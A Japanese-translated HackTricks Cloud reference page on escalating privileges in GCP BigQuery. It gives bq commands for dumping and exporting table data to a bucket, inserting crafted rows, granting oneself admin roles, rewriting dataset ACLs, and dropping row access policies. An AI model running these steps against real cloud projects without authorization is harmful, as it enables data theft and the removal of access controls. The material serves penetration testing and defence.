GCP - BigQuery Privesc

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランをチェック！

• **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。

• PRを提出してハッキングトリックを共有する HackTricksおよびHackTricks Cloudのgithubリポジトリ。

BigQuery

BigQueryの詳細については以下を参照してください:

GCP - Bigquery Enum

テーブルの読み取り

BigQueryテーブル内に保存されている情報を読み取ることで、機密情報を見つけることができるかもしれません。情報にアクセスするために必要な権限は bigquery.tables.get 、 bigquery.jobs.create および bigquery.tables.getData です:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

これはデータにアクセスする別の方法です。cloud storage bucketにエクスポートし、情報を含むファイルをダウンロードします。 このアクションを実行するには、次の権限が必要です: bigquery.tables.export、bigquery.jobs.create、および**storage.objects.create**。

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Bigqueryテーブルに特定の信頼されたデータを挿入して、他の場所の脆弱性を悪用することが可能かもしれません。これは、bigquery.tables.get 、bigquery.tables.updateData 、および bigquery.jobs.create の権限を使用して簡単に行うことができます：

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

攻撃者はこの権限を悪用して、BigQueryデータセットに対してさらに権限を付与することができます:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

この権限だけで、ACLを変更してBigQueryデータセットへのアクセスを更新することができます。

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

攻撃者はこの権限を悪用して、BigQueryテーブルに対してさらに自分に権限を付与することができます:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

ドキュメントによると、これらの権限があれば行ポリシーを更新することが可能です。 しかし、cli bq を使用する場合には、さらに以下の権限が必要です: bigquery.rowAccessPolicies.create, bigquery.tables.get。

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[e-mail]>") FILTER USING (term = "Cfba");' # A example filter was used

行ポリシー列挙の出力でフィルターIDを見つけることが可能です。例:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

もし**bigquery.rowAccessPolicies.delete**を持っていて、bigquery.rowAccessPolicies.updateを持っていない場合、ポリシーを削除することもできます:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

もう一つの行アクセスポリシーを回避する潜在的なオプションは、制限されたデータの値を変更することです。termがCfbaのときだけ見える場合、テーブルのすべてのレコードをterm = "Cfba"に変更します。しかし、これはbigqueryによって防止されています。

AWS Hackingを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCP Hackingを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランをチェック！

• 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• PRを提出してハッキングトリックを共有する HackTricksおよびHackTricks Cloudのgithubリポジトリに。